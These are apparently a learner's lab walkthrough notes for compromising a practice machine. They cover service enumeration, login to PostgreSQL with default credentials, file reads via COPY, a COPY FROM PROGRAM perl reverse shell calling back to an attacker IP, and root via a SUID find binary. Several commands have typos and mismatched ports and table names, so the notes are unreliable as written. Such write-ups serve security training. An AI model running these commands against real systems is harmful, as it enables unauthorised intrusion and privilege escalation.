Enumeration

2021年7月21日 13:51

- 1: Use autorecon to enumerate its services, 21, 22, 80, 5437 are open
- 2: FTP does not allow anonymous login, and weak credentials also do not work
- 3: FTP and SSH version do not have helpful vulnerability
- 4: Check HTTP service, it does not have hidden file or directory and any useful vulnerability
- 5: As for **Postgres** service, default credential **postgres:postgres** works!

Foothold

2021年7月21日 13:51

1: Connect to postgres by executing psql -U postgres -p 5337 -h 192.168.156.47

- 2: Input password postgres
- 3: Query \c postgres to select database postgres
- 4: Query **select pg_ls_dir('/home')**;, I can see **wilson** is a user
- 5: create table demo (t text);
- 6: copy demo from '/home/wilson/local.txt';
- 7: select * from demo;, the flag is printed
- 8: This article describes how to use postgres to launch RCE (https://medium.com/greenwolf-security/authenticated-arbitrary-commandexecution-on-postgresql-9-3-latest-cd18945914d5)
- 9: Query drop table if exists cmd exec;
- 10: create table cmd_exec(cmd_output test);
- 11: COPY files FROM PROGRAM 'perl -MIO -e "\$p=fork;exit,if(\$p);\$c=new IO::Socket::INET(PeerAddr,"192.168.49.156:80");STDIN->fdopen(\$c,r);\$~-

>fdopen(\$c,w);system\$_ while<>;";

- 12: Set up a netcat listener (Choose port 80 because of firewall), execute select * from cmd_exec;
- 13: Get a reverse shell
- 14: https://book.hacktricks.xyz/pentesting/pentesting-postgresql lists hacking tips about postgresql

Privilege Escalation

2021年7月21日 13:51

1: Use linenum.sh to enumerate possible vectors

2: Binary **find** is set **SUID**

3: ./find . -exec /bin/sh -p \; -quit

4: Get root shell

5: cat /root/proof.txt

Review	

2021年7月21日 13:51

- 1: Target **posgresql** service
- 2: Use default credential to log in, query file's content
- 3: Use posgresql's feature to conduct authenticated arbitrary command execution to connect to Kali's listener
- 4: Identify find is set SUID